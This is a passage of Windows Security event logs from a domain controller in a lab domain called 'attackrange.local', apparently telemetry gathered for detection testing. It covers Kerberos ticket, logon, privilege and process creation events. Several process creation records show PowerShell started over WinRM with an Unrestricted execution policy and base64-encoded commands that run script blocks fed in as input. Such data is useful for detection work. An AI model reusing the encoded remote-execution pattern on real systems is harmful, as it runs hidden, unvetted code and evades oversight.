as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249710 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249709 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249708 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE814E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfcc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249707 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE85B4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249706 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE85B4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249705 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249704 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249703 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249702 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE814E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfcc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf30 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249701 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE814E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf30 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249700 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE839F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249699 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE839F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249698 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249697 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249696 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249695 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE814E - -Target Subject: - Security 